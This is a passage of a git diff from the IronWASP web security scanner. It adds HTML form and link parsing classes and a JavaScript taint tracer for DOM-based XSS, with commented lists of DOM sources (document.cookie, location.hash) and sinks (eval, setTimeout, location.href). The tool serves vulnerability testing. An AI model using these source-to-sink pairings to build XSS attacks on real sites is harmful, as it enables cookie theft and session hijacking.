Values.Add(InEl.Value); + } + } + foreach (string Val in Values) + { + if (!Params.GetAll(Name).Contains(Val)) return false; + } + } + } + } + return true; + } + } +} diff --git a/Iron/IronHtml/FormSubmission.cs b/Iron/IronHtml/FormSubmission.cs new file mode 100644 index 0000000..e556643 --- /dev/null +++ b/Iron/IronHtml/FormSubmission.cs @@ -0,0 +1,11 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + public class FormSubmission + { + + } +} diff --git a/Iron/IronHtml/InputElement.cs b/Iron/IronHtml/InputElement.cs new file mode 100644 index 0000000..c17dd22 --- /dev/null +++ b/Iron/IronHtml/InputElement.cs @@ -0,0 +1,81 @@ +using System; +using System.Collections.Generic; +using System.Text; +using HtmlAgilityPack; + +namespace IronWASP.IronHtml +{ + public class InputElement : Element + { + InputElementType EleType = InputElementType.Text; + + public InputElementType ElementType + { + get + { + return EleType; + } + } + + public InputElement(HtmlNode Node, int Index): base(Node, Index) + { + SetInputElementType(); + } + + public string Value + { + get + { + if (HasAttribute("value")) + { + return GetAttribute("value"); + } + return ""; + } + } + + void SetInputElementType() + { + if (HasAttribute("type")) + { + string TypeVal = GetAttribute("type"); + if (TypeVal.Equals("password", StringComparison.OrdinalIgnoreCase)) + { + EleType = InputElementType.Password; + } + else if (TypeVal.Equals("hidden", StringComparison.OrdinalIgnoreCase)) + { + EleType = InputElementType.Hidden; + } + else if (TypeVal.Equals("submit", StringComparison.OrdinalIgnoreCase)) + { + EleType = InputElementType.Submit; + } + else if (TypeVal.Equals("checkbox", StringComparison.OrdinalIgnoreCase)) + { + EleType = InputElementType.Checkbox; + } + else if (TypeVal.Equals("radio", StringComparison.OrdinalIgnoreCase)) + { + EleType = InputElementType.Radio; + } + else if (TypeVal.Equals("text", StringComparison.OrdinalIgnoreCase)) + { + EleType = InputElementType.Text; + } + } + } + } + + + + public enum InputElementType + { + Text, + Hidden, + Password, + Checkbox, + Radio, + Submit + } +} diff --git a/Iron/IronHtml/LinkClick.cs b/Iron/IronHtml/LinkClick.cs new file mode 100644 index 0000000..aeba3c2 --- /dev/null +++ b/Iron/IronHtml/LinkClick.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + //public class LinkClick + //{ + // public LinkElement LinkHtmlElement = null; + // public Request LinkClickRequest = null; + // public UrlInHtmlMatch MatchLevel = UrlInHtmlMatch.None; + // string LinkHrefValue = ""; + + // public LinkClick(Request LinkClickReq, HtmlAgilityPack.HtmlNode LinkNode, UrlInHtmlMatch MatchLevelFound, string LinkHrefVal) + // { + // this.LinkClickRequest = LinkClickReq; + // this.MatchLevel = MatchLevelFound; + // this.LinkHtmlElement = new LinkElement(LinkNode); + // this.LinkHrefValue = LinkHrefVal; + // } + //} +} diff --git a/Iron/IronHtml/LinkElement.cs b/Iron/IronHtml/LinkElement.cs new file mode 100644 index 0000000..4ec90dc --- /dev/null +++ b/Iron/IronHtml/LinkElement.cs @@ -0,0 +1,75 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + public class LinkElement : Element + { + public LinkElement(HtmlAgilityPack.HtmlNode Node, int NodeIndex) : base(Node, NodeIndex) + { + + } + + public string Href + { + get + { + if (HasHref) + { + return GetAttribute("href").TrimStart(); + } + return ""; + } + } + + public bool HasHref + { + get + { + return HasAttribute("href"); + } + } + + public bool IsAbsoluteHref + { + get + { + try + { + Request Req = new Request(Href); + return true; + } + catch + { + return false; + } + } + } + + public bool IsJavaScriptHref + { + get + { + if (Href.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) + { + return true; + } + return false; + } + } + + public Request GetLinkClick(Request Req) + { + Request NewLinkClickReq = new Request(Req.RelativeUrlToAbsoluteUrl(Href)); + foreach (string Name in Req.Headers.GetNames()) + { + if (!(Name.Equals("Content-Length", StringComparison.OrdinalIgnoreCase) || Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase) || Name.Equals("Content-Type", StringComparison.OrdinalIgnoreCase))) + { + NewLinkClickReq.Headers.Set(Name, Req.Headers.GetAll(Name)); + } + } + return NewLinkClickReq; + } + } +} diff --git a/Iron/IronHtml/UrlInHtmlMatch.cs b/Iron/IronHtml/UrlInHtmlMatch.cs new file mode 100644 index 0000000..ccb3087 --- /dev/null +++ b/Iron/IronHtml/UrlInHtmlMatch.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.IronHtml +{ + public enum UrlInHtmlMatch + { + FullAbsolute, + FullRelative, + None + } +} diff --git a/IronWASP/IronJint.cs b/Iron/IronJint.cs similarity index 97% rename from IronWASP/IronJint.cs rename to Iron/IronJint.cs index 5abd78f..686a82f 100644 --- a/IronWASP/IronJint.cs +++ b/Iron/IronJint.cs @@ -1,2090 +1,2090 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Text.RegularExpressions; -using Jint; -using Jint.Expressions; -using Antlr.Runtime; -using System.Threading; -using System.Windows.Forms; -using jsbeautifylib; - -namespace IronWASP -{ - public class IronJint - { - static Thread UITraceThread; - - internal static IronJint UIIJ = new IronJint(); - - internal static List DefaultSourceObjects = new List();// { "document.URL", "document.documentURI", "document.URLUnencoded", "document.baseURI", "location", "location.href", "location.search", "location.hash", "location.pathname", "document.cookie", "document.referrer", "window.name" }; - internal static List DefaultSinkObjects = new List();// { "location", "location.href", "location.pathname", "location.search", "location.protocol", "location.hostname" }; - internal static List DefaultSourceReturningMethods = new List();// { }; - internal static List DefaultSinkReturningMethods = new List();// { }; - internal static List DefaultArgumentReturningMethods = new List();// { }; - internal static List DefaultArgumentAssignedToSinkMethods = new List();// { "eval(!)", "Function()", "setTimeout(!,0)", "setInterval(!,0)" }; - internal static List DefaultArgumentAssignedASourceMethods = new List();// { }; - - static string InputCodeString = ""; - static List ConfiguredSourceObjects = new List(); - static List ConfiguredSinkObjects = new List(); - static List ConfiguredSourceReturningMethods = new List(); - static List ConfiguredSinkReturningMethods = new List(); - static List ConfiguredArgumentReturningMethods = new List(); - static List ConfiguredArgumentAssignedToSinkMethods = new List(); - static List ConfiguredArgumentAssignedASourceMethods = new List(); - - internal static bool PauseAtTaint = false; - - internal static List SourceLinesToIgnore = new List(); - internal static List SinkLinesToIgnore = new List(); - - internal static List SourceLinesToInclude = new List(); - internal static List SinkLinesToInclude = new List(); - - internal List> SourceItems = new List>(); - internal List> SinkItems = new List>(); - - public List Lines = new List(); - public List SourceLines = new List(); - public List SinkLines = new List(); - public List SourceToSinkLines = new List(); - - - internal Dictionary> SourceReasons = new Dictionary>(); - internal Dictionary> SinkReasons = new Dictionary>(); - - internal List> SourceTaintedItems = new List>(); - internal List> SinkTaintedItems = new List>(); - - internal List> GlobalVariables = new List>(); - internal List> GlobalMethods = new List>(); - - //to be initialized from the UI - internal List> SourceObjects = new List>(); - internal List> SinkObjects = new List>(); - internal List> SourceReturningMethods = new List>(); - internal List> SinkReturningMethods = new List>(); - internal List> ArgumentReturningMethods = new List>(); - internal List> ArgumentAssignedToSinkMethods = new List>(); - internal List> ArgumentAssignedASourceMethods = new List>(); - - internal Dictionary>> InterestingStringHolders = new Dictionary>>(); - - long AnalyzeCallStartTime = 0; - - //Used by the UI - internal static Dictionary LineNoToGridRowNoMapping = new Dictionary(); - - //this is to avoid recursive looping to go on for ever - //Test Case that causes stack-overflow: - //o[o.x] = "0"; - // p[o.y] = 1; - // - List> SentForStringConversion = new List>(); - - internal List JintStack = new List(); - - internal int CurrentLineNo = 0; - internal int CurrentCharNo = 0; - - public List RawLines = new List(); - - internal bool TraceKeyword = false; - internal string KeywordToTrace = ""; - public List KeywordContexts = new List(); - - bool StartedFromUI = false; - internal ManualResetEvent MSR = new ManualResetEvent(false); - - public static string Beautify(string Code) - { - JSBeautify JB = new JSBeautify(Code, new JSBeautifyOptions()); - string BeautifiedCode = JB.GetResult(); - return BeautifiedCode; - } - - //internal static void StartTraceFromUI(string Code, List SourceObjs, List SinkObjs, List SourceRetMets, List SinkRetMets, List ArgRetMets, List ArgAssASourceMets, List ArgAssToSinkMets) - //{ - // StopUITrace(); - // SourceLinesToIgnore.Clear(); - // SinkLinesToIgnore.Clear(); - // SourceLinesToInclude.Clear(); - // SinkLinesToInclude.Clear(); - - // InputCodeString = Code; - // ConfiguredSourceObjects = SourceObjs; - // ConfiguredSinkObjects = SinkObjs; - // ConfiguredSourceReturningMethods = SourceRetMets; - // ConfiguredSinkReturningMethods = SinkRetMets; - // ConfiguredArgumentReturningMethods = ArgRetMets; - // ConfiguredArgumentAssignedASourceMethods = ArgAssASourceMets; - // ConfiguredArgumentAssignedToSinkMethods = ArgAssToSinkMets; - - // UITraceThread = new Thread(TraceFromUI); - // UITraceThread.Start(); - //} - - //internal static void ReDoTraceFromUI() - //{ - // UITraceThread = new Thread(TraceFromUI); - // UITraceThread.Start(); - //} - - //internal static void StopUITrace() - //{ - // try - // { - // UITraceThread.Abort(); - // } - // catch { } - //} - - //internal static void TraceFromUI() - //{ - // try - // { - // IronUI.ShowTraceStatus("Trace in progress...", false); - // IronJint IJ = new IronJint(); - // UIIJ = IJ; - // IJ.SetSourcesAndSinks(ConfiguredSourceObjects, ConfiguredSinkObjects, ConfiguredSourceReturningMethods, ConfiguredSinkReturningMethods, ConfiguredArgumentReturningMethods, ConfiguredArgumentAssignedASourceMethods, ConfiguredArgumentAssignedToSinkMethods); - // IJ.ClearAllTaint(); - // IJ.JintStack.Clear(); - // string DirtyJS = ""; - // if (Tools.IsJavaScript(InputCodeString)) - // { - // DirtyJS = InputCodeString; - // } - // else - // { - // try - // { - // HTML H = new HTML(InputCodeString); - // List Scripts = H.GetJavaScript(); - // StringBuilder ScriptString = new StringBuilder(); - // foreach (string Script in Scripts) - // { - // ScriptString.AppendLine(Script); - // } - // DirtyJS = ScriptString.ToString(); - // } - // catch - // { - // throw new Exception("Entered text does not contain valid JavaScript"); - // } - // } - // if (DirtyJS.Length == 0) - // { - // throw new Exception("No valid JavaScript input available to trace"); - // } - // string CleanCode = Beautify(DirtyJS); - // IronUI.SetJSTaintTraceCode(CleanCode, false); - // IJ.Lines = SplitCodeLines(CleanCode); - // if (PauseAtTaint) IronUI.SetJSTaintTraceResult(); - // IJ.StartedFromUI = true; - // IJ.Analyze(CleanCode); - // if (!PauseAtTaint) IronUI.SetJSTaintTraceResult(); - // IronUI.ShowTraceStatus("Trace Completed", false); - // IronUI.ResetTraceStatus(); - // } - // catch(ThreadAbortException) - // {} - // catch(Exception Exp) - // { - // StopUITrace(); - // IronUI.ResetTraceStatus(); - // IronUI.ShowTraceStatus("Trace Stopped due to error: " + Exp.Message, true); - // IronException.Report("Error performing JS Taint Trace", Exp.Message, Exp.StackTrace); - // } - //} - - public static List SplitCodeLines(string Code) - { - string[] UnTrimmedLines = Code.Split(new string[] { "\r\n" }, StringSplitOptions.None); - List TrimmedLines = new List(); - foreach (string Line in UnTrimmedLines) - { - string TrimmedLine = Line.Trim(); - if (TrimmedLine.Length > 0) - { - TrimmedLines.Add(TrimmedLine); - } - } - return TrimmedLines; - } - - public static TraceResult Trace(string Code) - { - TraceResult TR = new TraceResult(); - try - { - IronJint IJ = new IronJint(); - IJ.AnalyzeCallStartTime = 0; - IJ.SetSourcesAndSinks(DefaultSourceObjects, DefaultSinkObjects, DefaultSourceReturningMethods, DefaultSinkReturningMethods, DefaultArgumentReturningMethods, DefaultArgumentAssignedASourceMethods, DefaultArgumentAssignedToSinkMethods); - IJ.ClearAllTaint(); - IJ.JintStack.Clear(); - string CleanCode = Beautify(Code); - - IJ.Analyze(CleanCode); - - TR.Lines.AddRange(IJ.RawLines); - TR.SourceLineNos.AddRange(IJ.SourceLines); - TR.SinkLineNos.AddRange(IJ.SinkLines); - TR.SourceToSinkLineNos.AddRange(IJ.SourceToSinkLines); - foreach (int LineNo in TR.SourceLineNos) - { - TR.SourceLines.Add(IJ.RawLines[LineNo - 1]); - } - foreach (int LineNo in TR.SinkLineNos) - { - TR.SinkLines.Add(IJ.RawLines[LineNo - 1]); - } - foreach (int LineNo in TR.SourceToSinkLineNos) - { - TR.SourceToSinkLines.Add(IJ.RawLines[LineNo - 1]); - } - } - catch (TimeoutException){} - return TR; - } - - public static TraceResult Trace(string Code, string Keyword) - { - TraceResult TR = new TraceResult(); - try - { - IronJint IJ = new IronJint(); - IJ.AnalyzeCallStartTime = 0; - IJ.SetSourcesAndSinks(new List() { Keyword }, DefaultSinkObjects, new List(), DefaultSinkReturningMethods, DefaultArgumentReturningMethods, DefaultArgumentAssignedASourceMethods, DefaultArgumentAssignedToSinkMethods); - IJ.ClearAllTaint(); - IJ.JintStack.Clear(); - IJ.KeywordToTrace = Keyword; - IJ.TraceKeyword = true; - string CleanCode = Beautify(Code); - //List Lines = new List(CleanCode.Split(new string[] { "\r\n" }, StringSplitOptions.None)); - - IJ.Analyze(CleanCode); - //return IJ; - - TR.Lines.AddRange(IJ.RawLines); - TR.SourceLineNos.AddRange(IJ.SourceLines); - TR.SinkLineNos.AddRange(IJ.SinkLines); - TR.SourceToSinkLineNos.AddRange(IJ.SourceToSinkLines); - foreach (int LineNo in TR.SourceLineNos) - { - TR.SourceLines.Add(IJ.RawLines[LineNo - 1]); - } - foreach (int LineNo in TR.SinkLineNos) - { - TR.SinkLines.Add(IJ.RawLines[LineNo - 1]); - } - foreach (int LineNo in TR.SourceToSinkLineNos) - { - TR.SourceToSinkLines.Add(IJ.RawLines[LineNo - 1]); - } - TR.KeywordContexts.AddRange(IJ.KeywordContexts); - } - catch(TimeoutException) { } - return TR; - } - - public static bool IsExpressionStatement(string Code, string Keyword) - { - //string CleanCode = Beautify(Code); - LinkedList Statements = GetStatementsFromCode(Code, false); - foreach (Statement Stmt in Statements) - { - if (Stmt.GetType().Name.Equals("ExpressionStatement")) - { - ExpressionStatement ExS = (ExpressionStatement)Stmt; - if (ExS.Expression.GetType().Name.Equals("Identifier")) - { - Identifier Id = (Identifier)ExS.Expression; - if (Id.Text.Equals(Keyword)) - { - return true; - } - } - } - } - return false; - } - - internal void Analyze(string Code) - { - if (IsTimedOut()) return; - RawLines.Clear(); - Analyze(new List() { Code }); - } - - internal void Analyze(List Codes) - { - if (IsTimedOut()) return; - RawLines.Clear(); - foreach (string C in Codes) - { - RawLines.AddRange(SplitCodeLines(C)); - } - JintStack.Clear(); - LinkedList Statements = GetStatementsFromCode(Codes); - Analyze(Statements); - } - - internal static LinkedList GetStatementsFromCode(string Code) - { - return GetStatementsFromCode(Code, true); - } - - internal static LinkedList GetStatementsFromCode(string Code, bool IgnoreErrors) - { - return GetStatementsFromCode(new List() { Code }, IgnoreErrors); - } - - internal static LinkedList GetStatementsFromCode(List Codes) - { - return GetStatementsFromCode(Codes, true); - } - - internal static LinkedList GetStatementsFromCode(List Codes, bool IgnoreErrors) - { - StringBuilder CodeBuilder = new StringBuilder(); - foreach (string C in Codes) - { - CodeBuilder.Append(C); - if (!C.EndsWith("\n")) - { - CodeBuilder.Append("\r\n"); - } - } - string Code = CodeBuilder.ToString(); - if (Code.Length == 0) return new LinkedList(); - JintEngine Eng = new JintEngine(Options.Ecmascript3); - - ES3Lexer Lexer = new ES3Lexer(new ANTLRStringStream(Code)); - ES3Parser Parser = new ES3Parser(new CommonTokenStream(Lexer)) { DebugMode = true }; - Jint.Expressions.Program Prog = Parser.program().value; - if (Parser.Errors != null && Parser.Errors.Count > 0 && !IgnoreErrors) - { - throw new Exception("Invalid JavaScript Syntax"); - } - return Prog.Statements; - } - - - - void Analyze(LinkedList Statements) - { - if (IsTimedOut()) return; - - foreach (Statement Stmt in Statements) - { - if (Stmt != null) Analyze(Stmt); - } - //Statement[] Stmts = new Statement[Statements.Count]; - //Statements.CopyTo(Stmts, 0); - //for (int i = 0; i < Stmts.Length; i++) - //{ - - // if (Stmts[i] != null) Analyze(Stmts[i]); - //} - } - - void Analyze(List Statements) - { - if (IsTimedOut()) return; - for (int i = 0; i < Statements.Count; i++) - { - if (Statements[i] != null) Analyze(Statements[i]); - } - } - - void Analyze(Jint.Expressions.Statement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - Type T = Stmt.GetType(); - switch (T.Name) - { - case("ArrayDeclaration"): - ArrayDeclaration AD = (ArrayDeclaration)Stmt; - Analyze(AD); - break; - case ("AssignmentExpression"): - AssignmentExpression AE = (AssignmentExpression)Stmt; - Analyze(AE); - break; - case ("BinaryExpression"): - BinaryExpression BE = (BinaryExpression)Stmt; - Analyze(BE); - break; - case ("BlockStatement"): - BlockStatement BS = (BlockStatement)Stmt; - Analyze(BS); - break; - case ("BreakStatement"): - BreakStatement BrS = (BreakStatement)Stmt; - Analyze(BrS); - break; - case ("CaseClause"): - CaseClause CC = new CaseClause(); - try - { - CC.Expression = (Expression)Stmt; - Analyze(CC); - } - catch { } - break; - case ("CatchClause"): - try - { - CatchClause CaC = new CatchClause("a", Stmt); - Analyze(CaC); - } - catch { } - break; - case ("ClrIdentifier"): - ClrIdentifier CI = (ClrIdentifier)Stmt; - Analyze(CI); - break; - case ("CommaOperatorStatement"): - CommaOperatorStatement COS = (CommaOperatorStatement)Stmt; - Analyze(COS); - break; - case ("ContinueStatement"): - ContinueStatement CS = (ContinueStatement)Stmt; - Analyze(CS); - break; - case ("DoWhileStatement"): - DoWhileStatement DWS = (DoWhileStatement)Stmt; - Analyze(DWS); - break; - case ("EmptyStatement"): - EmptyStatement ES = (EmptyStatement)Stmt; - Analyze(ES); - break; - case ("ExpressionStatement"): - ExpressionStatement ExS = (ExpressionStatement)Stmt; - Analyze(ExS); - break; - case ("FinallyClause"): - try - { - FinallyClause FC = new FinallyClause(Stmt); - Analyze(FC); - } - catch { } - break; - case ("ForEachInStatement"): - ForEachInStatement FEIS = (ForEachInStatement)Stmt; - Analyze(FEIS); - break; - case ("ForStatement"): - ForStatement FoS = (ForStatement)Stmt; - Analyze(FoS); - break; - case ("FunctionDeclarationStatement"): - FunctionDeclarationStatement FDS = (FunctionDeclarationStatement)Stmt; - Analyze(FDS); - break; - case ("FunctionExpression"): - FunctionExpression FE = (FunctionExpression)Stmt; - Analyze(FE); - break; - case ("Identifier"): - Identifier Id = (Identifier)Stmt; - Analyze(Id); - break; - case ("IfStatement"): - IfStatement IS = (IfStatement)Stmt; - Analyze(IS); - break; - case ("Indexer"): - Indexer Ind = (Indexer)Stmt; - Analyze(Ind); - break; - case ("JsonExpression"): - JsonExpression JE = (JsonExpression)Stmt; - Analyze(JE); - break; - case ("MemberExpression"): - MemberExpression ME = (MemberExpression)Stmt; - Analyze(ME); - break; - case ("MethodCall"): - MethodCall MC = (MethodCall)Stmt; - Analyze(MC); - break; - case ("NewExpression"): - NewExpression NE = (NewExpression)Stmt; - Analyze(NE); - break; - case ("Program"): - Jint.Expressions.Program Pr = (Jint.Expressions.Program)Stmt; - Analyze(Pr); - break; - case ("PropertyDeclarationExpression"): - PropertyDeclarationExpression PDP = (PropertyDeclarationExpression)Stmt; - Analyze(PDP); - break; - case ("PropertyExpression"): - PropertyExpression PE = (PropertyExpression)Stmt; - Analyze(PE); - break; - case ("RegexpExpression"): - RegexpExpression RE = (RegexpExpression)Stmt; - Analyze(RE); - break; - case ("ReturnStatement"): - ReturnStatement RS = (ReturnStatement)Stmt; - Analyze(RS); - break; - case ("SwitchStatement"): - SwitchStatement SS = (SwitchStatement)Stmt; - Analyze(SS); - break; - case ("TernaryExpression"): - TernaryExpression TE = (TernaryExpression)Stmt; - Analyze(TE); - break; - case ("ThrowStatement"): - ThrowStatement TS = (ThrowStatement)Stmt; - Analyze(TS); - break; - case ("TryStatement"): - TryStatement TrS = (TryStatement)Stmt; - Analyze(TrS); - break; - case ("UnaryExpression"): - UnaryExpression UE = (UnaryExpression)Stmt; - Analyze(UE); - break; - case ("ValueExpression"): - ValueExpression VE = (ValueExpression)Stmt; - Analyze(VE); - break; - case ("VariableDeclarationStatement"): - VariableDeclarationStatement VDS = (VariableDeclarationStatement)Stmt; - Analyze(VDS); - break; - case ("WhileStatement"): - WhileStatement WS = (WhileStatement)Stmt; - Analyze(WS); - break; - case ("WithStatement"): - WithStatement WiS = (WithStatement)Stmt; - Analyze(WiS); - break; - } - } - - void Analyze(List Statements) - { - if (IsTimedOut()) return; - for (int i = 0; i < Statements.Count; i++) - { - bool IsMethodArgument = false; - int StatusIndex = 0; - if (JintStack.Count > 0) - { - JintItem LastItem = JintStack[JintStack.Count - 1]; - if (LastItem.State == JintState.MethodCallName || LastItem.State == JintState.MethodCallArgument) - { - IsMethodArgument = true; - StatusIndex = AddToJintStack(Statements[i].Source, JintState.MethodCallArgument); - } - } - - if (Statements[0] != null) Analyze(Statements[i]); - if (IsMethodArgument) - { - if (JintStack.Count > 0 && (JintStack.Count > StatusIndex + 1)) - { - List ArgumentItems = RemoveJintStackFrom(StatusIndex + 1); - List ArgumentItem = RemoveJintStackFrom(StatusIndex); - ArgumentItem[0].SubItems = new List(ArgumentItems); - JintStack.Add(ArgumentItem[0]); - } - } - } - } - - void Analyze(ArrayDeclaration Stmt) - { - if (IsTimedOut()) return; - if (Stmt.Parameters != null) - { - int StatusIndex = AddToJintStack(Stmt.Source, JintState.ArrayDeclaration); - Analyze(Stmt.Parameters); - RemoveJintStackFrom(StatusIndex); - } - } - - void Analyze(AssignmentExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - List LeftItems = new List(); - List> LeftItemParts = new List>(); - List> SinkTaintedLeftItems = new List>(); - - ItemChecker TC = new ItemChecker(this); - - if (Stmt.Left != null) - { - int StatusIndex = AddToJintStack(Stmt.Left.Source, JintState.AssignmentExpressionLeft); - Analyze(Stmt.Left); - LeftItems = RemoveJintStackFrom(StatusIndex + 1); - - LeftItemParts = ItemChecker.GetItemParts(LeftItems); - - foreach (List LeftItemPart in LeftItemParts) - { - TaintResult LeftResult = TC.Check(LeftItemPart); - if (LeftResult.SinkTaint) - { - SinkTaintedLeftItems.Add(LeftItemPart); - if (LeftItemPart.Count > 0) - AddSinkLine(LeftItemPart[0].LineNo, LeftResult.SinkReasons); - else - AddSinkLine(CurrentLineNo, LeftResult.SinkReasons); - } - } - RemoveJintStackFrom(StatusIndex); - } - List RightItems = new List(); - if (Stmt.Right != null) - { - int StatusIndex = AddToJintStack(Stmt.Left.Source, JintState.AssignmentExpressionRight); - Analyze(Stmt.Right); - RightItems = RemoveJintStackFrom(StatusIndex + 1); - - if (Stmt.Right.GetType().Name.Equals("AssignmentExpression")) - { - Analyze(((AssignmentExpression)Stmt.Right).Left); - RightItems = RemoveJintStackFrom(StatusIndex + 1); - } - - List> RightItemParts = ItemChecker.GetItemParts(RightItems); - UpdateMappings(LeftItems, RightItemParts); - - foreach (List RightItemPart in RightItemParts) - { - TaintResult RightResult = TC.Check(RightItemPart); - if (RightResult.SourceTaint) - { - foreach (JintItem Item in LeftItems) - { - Item.SourceReasons.AddRange(RightResult.SourceReasons); - } - AddToSourceObjects(LeftItems); - if (RightItems.Count > 0) - AddSourceLine(RightItemPart[0].LineNo, RightResult.SourceReasons); - else - AddSourceLine(CurrentLineNo, RightResult.SourceReasons); - if (SinkTaintedLeftItems.Count > 0) - if (LeftItems.Count > 0) - AddSourceToSinkLine(LeftItems[0].LineNo); - else - AddSourceToSinkLine(CurrentLineNo); - } - else - { - foreach (List LeftItemPart in LeftItemParts) - { - RemoveFromSourceTaintedItems(LeftItemPart); - } - } - if (RightResult.SinkTaint) - { - foreach (JintItem Item in LeftItems) - { - Item.SinkReasons.AddRange(RightResult.SinkReasons); - } - foreach (List LeftItemPart in LeftItemParts) - { - AddToSinkObjects(LeftItemPart); - } - if (RightItems.Count > 0) - AddSinkLine(RightItemPart[0].LineNo, RightResult.SinkReasons); - else - AddSinkLine(CurrentLineNo, RightResult.SinkReasons); - } - else - { - foreach (List LeftItemPart in LeftItemParts) - { - RemoveFromSinkTaintedItems(LeftItemPart); - } - } - } - RemoveJintStackFrom(StatusIndex); - } - } - - void Analyze(BinaryExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.LeftExpression != null) Analyze(Stmt.LeftExpression); - AddToJintStack(Stmt.Source, JintState.BinaryOperator, ""); - if (Stmt.RightExpression != null) Analyze(Stmt.RightExpression); - } - - void Analyze(BlockStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if(Stmt.Statements != null) Analyze(Stmt.Statements); - } - - void Analyze(BreakStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - } - - void Analyze(CaseClause Stmt) - { - if (IsTimedOut()) return; - if (Stmt.Statements != null) Analyze(Stmt.Statements); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - } - - void Analyze(CatchClause Stmt) - { - if (IsTimedOut()) return; - //if (Stmt.Identifier != null) Analyze(Stmt.Identifier); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(ClrIdentifier Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - //if (Stmt.Text != null) Analyzer.CheckIdentifier(Stmt.Text); - } - - void Analyze(CommaOperatorStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Statements != null) Analyze(Stmt.Statements); - } - - void Analyze(ContinueStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - } - - void Analyze(DoWhileStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if(Stmt.Condition != null) Analyze(Stmt.Condition); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(EmptyStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - } - - void Analyze(ExpressionStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - if (TraceKeyword) - { - if(Stmt.Expression.GetType().Name.Equals("Identifier")) - { - Identifier Id = (Identifier)Stmt.Expression; - if(Id.Text.Equals(KeywordToTrace, StringComparison.OrdinalIgnoreCase)) - { - KeywordContexts.Add("Expression"); - } - } - } - } - - void Analyze(FinallyClause Stmt) - { - if (IsTimedOut()) return; - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(ForEachInStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - if (Stmt.InitialisationStatement != null) Analyze(Stmt.InitialisationStatement); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(ForStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.ConditionExpression != null) Analyze(Stmt.ConditionExpression); - if (Stmt.IncrementExpression != null) Analyze(Stmt.IncrementExpression); - if (Stmt.InitialisationStatement != null) Analyze(Stmt.InitialisationStatement); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(FunctionDeclarationStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Name != null) - { - int StatusIndex = AddToJintStack(Stmt.Source, JintState.MethodName); - JintStack[StatusIndex].Value = Stmt.Name; - //Analyzer.CheckIdentifier(Stmt.Name); - } - if (Stmt.Parameters != null) - { - for (int i=0; i< Stmt.Parameters.Count; i++) - { - if (Stmt.Parameters[i] != null) - { - AddToJintStack(Stmt.Source, JintState.MethodArgumentIdentifier); - } - } - } - if (Stmt.Statement != null) - { - //function body is declared here. Variable scoping etc must be handled. - Analyze(Stmt.Statement); - } - } - - void Analyze(FunctionExpression Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Statement != null) Analyze(Stmt.Statement); - } - - void Analyze(Identifier Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Text != null) - { - if (JintStack.Count == 0) - { - AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); - return; - } - int LastItem = JintStack.Count - 1; - switch (JintStack[LastItem].State) - { - case (JintState.AssignmentExpressionLeft): - case (JintState.AssignmentExpressionRight): - case (JintState.MethodCallArgument): - AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); - break; - case (JintState.Identifier): - AddToJintStack(Stmt.Source, JintState.Property, Stmt.Text); - break; - case (JintState.Indexer): - AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); - break; - case(JintState.MethodArgument): - RemoveJintStackFrom(JintStack.Count - 1); - AddToJintStack(Stmt.Source, JintState.MethodArgumentIdentifier, Stmt.Text); - break; - default: - AddToJintStack(Stmt.Source, JintState.Identifier, Stmt.Text); - break; - } - } - } - - void Analyze(IfStatement Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Expression != null) Analyze(Stmt.Expression); - if (Stmt.Then != null) Analyze(Stmt.Then); - if (Stmt.Else != null) Analyze(Stmt.Else); - } - - void Analyze(Indexer Stmt) - { - if (IsTimedOut()) return; - SetCurrentLineAndCharNos(Stmt); - if (Stmt.Index != 